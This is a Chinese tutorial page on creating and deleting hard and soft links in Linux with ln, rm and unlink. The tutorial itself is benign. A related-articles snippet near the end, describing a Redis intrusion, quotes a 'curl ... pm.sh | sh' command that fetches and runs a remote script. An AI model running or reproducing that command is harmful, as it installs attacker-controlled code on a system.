当前位置: 首页 > news >正文

Linux链接的创建,删除,修改

目录

  • 1. 概述
  • 2. 硬链接
    • 2.1 创建硬链接
    • 2.2 删除硬链接
  • 3. 软链接
    • 3.1 创建软链接
    • 3.2 删除软链接
  • 5. 常用的终端工具下载

计算机基础–Linux详解

在这里插入图片描述

1. 概述

  在Linux系统中,链接是一种文件系统中的重要概念。链接允许用户在文件系统中创建指向另一个文件的引用,从而允许同一个文件在多个位置上被访问。在Linux系统中,有两种主要类型的链接:硬链接和符号链接(也称为软链接)。

  硬链接: 硬链接是指在文件系统中创建的一个文件的另一个名称。当创建硬链接时,实际上是在文件系统中为相同的文件分配了另一个目录项。这意味着一个文件可以有多个硬链接,它们实际上都指向相同的数据块。硬链接与原始文件之间没有所谓的"原文件"和"副本"的概念,它们只是同一个文件的不同名称。硬链接的创建只能在同一个文件系统中进行,因为硬链接是基于inode的,而不同的文件系统可能会有不同的inode。

  符号链接(软链接): 符号链接是指创建的一个特殊类型的文件,它包含了指向另一个文件或目录的路径。与硬链接不同,符号链接实际上是一个指向另一个文件或目录的符号。这意味着符号链接与原始文件之间存在一个间接的关系,而不是像硬链接那样直接指向相同的数据块。符号链接可以跨越文件系统边界,因为它们只是包含了路径信息,而不是直接基于inode。

  链接的作用: 链接在Linux系统中具有多种作用。首先,它们允许用户创建文件的多个引用,这在组织文件和目录结构时非常有用。其次,链接可以用于创建指向共享库或其他系统文件的引用,从而使系统更加灵活和可配置。此外,链接还可以用于创建快捷方式或符号链接,使用户可以方便地访问文件或目录。

  在Linux系统中,链接是一个重要的文件系统概念,它为用户提供了一种有效的方式来管理文件和目录。通过理解硬链接和符号链接的特性和用途,用户可以更好地利用链接来组织文件系统,提高系统的灵活性和可维护性。同时,链接也是Linux系统中一个非常强大的功能,对于文件管理和系统配置都具有重要意义。

2. 硬链接

  在Linux系统中,硬链接是通过文件系统的inode和目录项来实现的。每个文件在Linux文件系统中都有一个唯一的inode,它包含了文件的元数据信息,如文件的权限、所有者、大小等。当创建一个硬链接时,实际上是创建了一个新的目录项,这个目录项指向了原始文件的inode。这意味着硬链接与原始文件共享相同的inode和数据块,它们实际上是同一个文件的不同名称。

  当创建一个硬链接时,文件系统会在目标目录下创建一个新的目录项,该目录项包含了新的文件名和指向原始文件inode的引用。这样,原始文件和硬链接之间就建立了一个一对多的关系,多个目录项指向同一个inode。这也是为什么硬链接只能在同一个文件系统中创建,因为不同文件系统的inode是不同的。

  当对硬链接文件进行修改时,实际上是对原始文件的inode进行的修改,因为它们共享相同的inode。这意味着无论是原始文件还是硬链接文件,对文件内容的修改都会影响到其他所有的硬链接文件。

  另外,硬链接与原始文件之间没有所谓的"原文件"和"副本"的概念,它们只是同一个文件的不同名称。这意味着对于操作系统来说,硬链接文件和原始文件没有本质上的区别,它们都是同一个文件的不同引用。这也是为什么删除原始文件并不会影响已经创建的硬链接文件的原因。

  总的来说,硬链接是Linux文件系统中一个非常有用的特性,它允许用户创建文件的多个引用,提高了文件系统的灵活性和可维护性。通过理解硬链接的实现原理和特性,用户可以更好地利用硬链接来组织文件系统,管理文件和目录。

2.1 创建硬链接

语法:

ln [选项] <源文件或目录> <目标文件或目录>
-s:创建符号链接(软链接)。
-f:强制创建链接,覆盖已存在的文件。
-n:不要覆盖已存在的目标文件。
-i:在创建符号链接时提示是否覆盖已存在的目标文件。
-v:显示详细信息,即显示创建链接的过程。
# 为1.txt文件创建一个硬连接文件11.txt
ln 1.txt 11.txt

在这里插入图片描述

2.2 删除硬链接

可以使用rm命令或unlink函数。

语法:

unlink [选项] 文件名
rm 11.txt
#或者 
unlink 11.txt

在这里插入图片描述

3. 软链接

  在Linux系统中,软链接(也称为符号链接)是一种特殊的文件类型,它包含了指向另一个文件或目录的路径。软链接的实现原理与硬链接有所不同。

  软链接是通过创建一个新的inode和数据块来实现的。当创建一个软链接时,实际上是创建了一个新的文件,该文件包含了指向原始文件或目录的路径信息。这个新的文件与原始文件或目录之间没有直接的关联,而是通过路径信息进行关联。

  当创建一个软链接时,文件系统会在目标目录下创建一个新的目录项,该目录项包含了新的文件名和指向原始文件或目录的路径信息。这样,软链接文件与原始文件或目录之间就建立了一种类似快捷方式的关系。

  与硬链接不同的是,软链接文件和原始文件或目录是两个独立的文件,它们有不同的inode和数据块。因此,软链接文件和原始文件或目录之间的修改不会相互影响。另外,软链接也可以跨越不同的文件系统进行创建,因为它们之间没有直接的inode关联。

3.1 创建软链接

语法:

ln -s 原文件 链接文件
# 为1.txt文件创建一个软连接文件2.txt
ln -s 1.txt 2.txt

在这里插入图片描述

3.2 删除软链接

语法:

rm 链接文件
# 删除软连接文件2.txt
rm 2.txt

在这里插入图片描述

5. 常用的终端工具下载

OpenSSH下载
PuTTY下载
SecureCRT下载
WinSCP下载
MobaXTerm下载

相关文章:

Linux链接的创建,删除,修改

目录 1. 概述2. 硬链接2.1 创建硬链接2.2 删除硬链接 3. 软链接3.1 创建软链接3.2 删除软链接 5. 常用的终端工具下载 计算机基础–Linux详解 1. 概述 在Linux系统中&#xff0c;链接是一种文件系统中的重要概念。链接允许用户在文件系统中创建指向另一个文件的引用&#xff0c…...

HarmoryOS Ability页面的生命周期

接入穿山甲SDK app示例&#xff1a; android 数独小游戏 经典数独休闲益智 广告接入示例: Android 个人开发者如何接入广告SDK&#xff0c;实现app流量变现 Ability页面的生命周期 学习前端&#xff0c;第一步最重要的是要理解&#xff0c;页面启动和不同场景下的生命周期的…...

【Flink 从入门到成神系列 一】算子

&#x1f44f;作者简介&#xff1a;大家好&#xff0c;我是爱敲代码的小黄&#xff0c;阿里巴巴淘天Java开发工程师&#xff0c;CSDN博客专家&#x1f4d5;系列专栏&#xff1a;Spring源码、Netty源码、Kafka源码、JUC源码、dubbo源码系列&#x1f525;如果感觉博主的文章还不错…...

无人机自主寻优降落在移动车辆

针对无人机寻找并降落在移动车辆上的问题&#xff0c;一套可能的研究总体方案&#xff1a; 问题定义与建模&#xff1a; 确定研究的具体范围和目标&#xff0c;包括无人机的初始条件、最大飞行距离、允许的最大追踪误差等。建立马尔科夫决策过程模型&#xff08;MDP&#xff09…...

科技感十足界面模板

科技感界面 在强调简洁的科技类产品相关设计中&#xff0c;背景多数分为&#xff1a;颜色或写实图片两种。 颜色很好理解&#xff0c;大多以深色底为主。强调一种神秘感和沉稳感&#xff0c;同时可以和浅色的文字内容形成很好的对比。 而图片背景的使用&#xff0c;就要求其…...

pytest装饰器 @pytest.mark.parametrize 使用方法

pytest.mark.parametrize 有三种传参方法&#xff0c;分别是&#xff1a; 1.列表传参&#xff1a;将参数值作为列表传递给装饰器。 pytest.mark.parametrize("param", [value1, value2, ..., valuen])2.元组传参&#xff1a;将参数值作为元组传递给装饰器。 pytes…...

redis被攻击

之前由于redis没有修改端口&#xff0c;密码也比较简单&#xff0c;也没有绑定ip 结果被攻击了 1 redis里被写入string类型的脚本&#xff0c;比如&#xff1a;Back1 Back2 Back3 Back4 &#xff0c;内容curl -fsSL http://d.powerofwish.com/pm.sh | sh的形式&#xff0c;如下…...

二手买卖、废品回收小程序 在app.json中声明permission scope.userLocation字段 教程说明

处理二手买卖、废品回收小程序 在app.json中声明permission scope.userLocation字段 教程说明 sitemapLocation 指明 sitemap.json 的位置&#xff1b;默认为 ‘sitemap.json’ 即在 app.json 同级目录下名字的 sitemap.json 文件 找到app.json这个文件 把这段代码加进去&…...

【AI视野·今日Sound 声学论文速览 第四十期】Wed, 3 Jan 2024

AI视野今日CS.Sound 声学论文速览 Wed, 3 Jan 2024 Totally 4 papers &#x1f449;上期速览✈更多精彩请移步主页 Daily Sound Papers Auffusion: Leveraging the Power of Diffusion and Large Language Models for Text-to-Audio Generation Authors Jinlong Xue, Yayue De…...

Unity组件开发--升降梯

我开发的升降梯由三个部分组成&#xff0c;反正适用于我的需求了&#xff0c;其他人想复用到自己的项目的话&#xff0c;不一定。写的也不是很好&#xff0c;感觉搞的有点复杂啦。完全可以在优化一下&#xff0c;项目赶工期&#xff0c;就先这样吧。能用就行&#xff0c;其他的…...

插槽slot涉及到的样式污染问题

1. 前言 本次我们主要结合一些案例研究一下vue的插槽中样式污染问题。在这篇文章中&#xff0c;我们主要关注以下两点: 父组件的样式是否会影响子组件的样式&#xff1f;子组件的样式是否会影响父组件定义的插槽部分的样式&#xff1f; 2. 准备代码 2.1 父组件代码 <te…...

OpenCV-Python(25):Hough直线变换

目标 理解霍夫变换的概念学习如何在一张图片中检测直线学习函数cv2.HoughLines()和cv2.HoughLinesP() 原理 霍夫变换在检测各种形状的的技术中非常流行。如果你要检测的形状可以用数学表达式写出来&#xff0c;你就可以是使用霍夫变换检测它。即使检测的形状存在一点破坏或者…...

python接口自动化(七)--状态码详解对照表(详解)

1.简介 我们为啥要了解状态码&#xff0c;从它的作用&#xff0c;就不言而喻了。如果不了解&#xff0c;我们就会像个无头苍蝇&#xff0c;横冲直撞。遇到问题也不知道从何处入手&#xff0c;就是想找别人帮忙&#xff0c;也不知道是找前端还是后端的工程师。 状态码的作用是&a…...

Android 实现动态申请各项权限

在Android应用中&#xff0c;如果需要使用一些敏感的权限&#xff08;例如相机、位置等&#xff09;&#xff0c;需要经过用户的授权才能访问。在Android 6.0&#xff08;API级别23&#xff09;及以上的版本中&#xff0c;引入了动态权限申请机制。以下是在Android应用中实现动…...

【leetcode】力扣热门之合并两个有序列表【简单难度】

题目描述 将两个升序链表合并为一个新的 升序 链表并返回。新链表是通过拼接给定的两个链表的所有节点组成的。 用例 输入&#xff1a;l1 [1,2,4], l2 [1,3,4] 输出&#xff1a;[1,1,2,3,4,4] 输入&#xff1a;l1 [], l2 [] 输出&#xff1a;[] 输入&#xff1a;l1 []…...

安全与认证Week3 Tutorial+历年题补充

目录 1) 什么是重放攻击? 2)什么是Kerberos系统?它提供什么安全服务? 3)服务器验证客户端身份的一种简单方法是要求提供密码。在Kerberos中不使用这种身份验证&#xff0c;为什么?Kerberos如何对服务器和客户机进行身份验证? 4) Kerberos的四个要求是什么?Kerberos系…...

【Kotlin】协程

Kotlin协程 背景定义实践GlobalScope.launchrunBlocking业务实践 背景 在项目实践过程中&#xff0c;笔者发现很多异步或者耗时的操作&#xff0c;都使用了Kotlin中的协程&#xff0c;所以特地研究了一番。 定义 关于协程&#xff08;Coroutine&#xff09;&#xff0c;其实…...

Scikit-Learn线性回归(五)

Scikit-Learn线性回归五:岭回归与Lasso回归 1、误差与模型复杂度2、范数与正则化2.1、范数2.2、正则化3、Scikit-Learn Ridge回归(岭回归)4、Scikit-Learn Lasso回归1、误差与模型复杂度 在第二篇文章 Scikit-Learn线性回归(二) 中,我们已经给出了过拟合与模型泛化的概念并…...

React(2): 使用 html2canvas 生成图片

使用 html2canvas 生成图片 需求 将所需的内容生成图片div 中包括 svg 等 前置准备 "react": "^18.2.0","react-dom": "^18.2.0","html2canvas": "^1.4.1",实现 <div ref{payRef}></div>const pa…...

CAN物理层协议介绍

目录 ​编辑 1. CAN协议简介 2. CAN物理层 3. 通讯节点 4. 差分信号 5. CAN协议中的差分信号 1. CAN协议简介 CAN是控制器局域网络(Controller Area Network)的简称,它是由研发和生产汽车电子产品著称的德国BOSCH公司开发的,并最终成为国际标准(ISO11519) &#xff0…...

未来机器人的大脑:如何用神经网络模拟器实现更智能的决策?

编辑&#xff1a;陈萍萍的公主一点人工一点智能 未来机器人的大脑&#xff1a;如何用神经网络模拟器实现更智能的决策&#xff1f;RWM通过双自回归机制有效解决了复合误差、部分可观测性和随机动力学等关键挑战&#xff0c;在不依赖领域特定归纳偏见的条件下实现了卓越的预测准…...

基于FPGA的PID算法学习———实现PID比例控制算法

基于FPGA的PID算法学习 前言一、PID算法分析二、PID仿真分析1. PID代码2.PI代码3.P代码4.顶层5.测试文件6.仿真波形 总结 前言 学习内容&#xff1a;参考网站&#xff1a; PID算法控制 PID即&#xff1a;Proportional&#xff08;比例&#xff09;、Integral&#xff08;积分&…...

系统设计 --- MongoDB亿级数据查询优化策略

系统设计 --- MongoDB亿级数据查询分表策略 背景Solution --- 分表 背景 使用audit log实现Audi Trail功能 Audit Trail范围: 六个月数据量: 每秒5-7条audi log&#xff0c;共计7千万 – 1亿条数据需要实现全文检索按照时间倒序因为license问题&#xff0c;不能使用ELK只能使用…...

GitHub 趋势日报 (2025年06月08日)

&#x1f4ca; 由 TrendForge 系统生成 | &#x1f310; https://trendforge.devlive.org/ &#x1f310; 本日报中的项目描述已自动翻译为中文 &#x1f4c8; 今日获星趋势图 今日获星趋势图 884 cognee 566 dify 414 HumanSystemOptimization 414 omni-tools 321 note-gen …...

【Java_EE】Spring MVC

目录 Spring Web MVC ​编辑注解 RestController RequestMapping RequestParam RequestParam RequestBody PathVariable RequestPart 参数传递 注意事项 ​编辑参数重命名 RequestParam ​编辑​编辑传递集合 RequestParam 传递JSON数据 ​编辑RequestBody ​…...

12.找到字符串中所有字母异位词

&#x1f9e0; 题目解析 题目描述&#xff1a; 给定两个字符串 s 和 p&#xff0c;找出 s 中所有 p 的字母异位词的起始索引。 返回的答案以数组形式表示。 字母异位词定义&#xff1a; 若两个字符串包含的字符种类和出现次数完全相同&#xff0c;顺序无所谓&#xff0c;则互为…...

第 86 场周赛:矩阵中的幻方、钥匙和房间、将数组拆分成斐波那契序列、猜猜这个单词

Q1、[中等] 矩阵中的幻方 1、题目描述 3 x 3 的幻方是一个填充有 从 1 到 9 的不同数字的 3 x 3 矩阵&#xff0c;其中每行&#xff0c;每列以及两条对角线上的各数之和都相等。 给定一个由整数组成的row x col 的 grid&#xff0c;其中有多少个 3 3 的 “幻方” 子矩阵&am…...

Mysql8 忘记密码重置,以及问题解决

1.使用免密登录 找到配置MySQL文件&#xff0c;我的文件路径是/etc/mysql/my.cnf&#xff0c;有的人的是/etc/mysql/mysql.cnf 在里最后加入 skip-grant-tables重启MySQL服务 service mysql restartShutting down MySQL… SUCCESS! Starting MySQL… SUCCESS! 重启成功 2.登…...

华为OD机考-机房布局

import java.util.*;public class DemoTest5 {public static void main(String[] args) {Scanner in new Scanner(System.in);// 注意 hasNext 和 hasNextLine 的区别while (in.hasNextLine()) { // 注意 while 处理多个 caseSystem.out.println(solve(in.nextLine()));}}priv…...

day36-多路IO复用

一、基本概念 &#xff08;服务器多客户端模型&#xff09; 定义&#xff1a;单线程或单进程同时监测若干个文件描述符是否可以执行IO操作的能力 作用&#xff1a;应用程序通常需要处理来自多条事件流中的事件&#xff0c;比如我现在用的电脑&#xff0c;需要同时处理键盘鼠标…...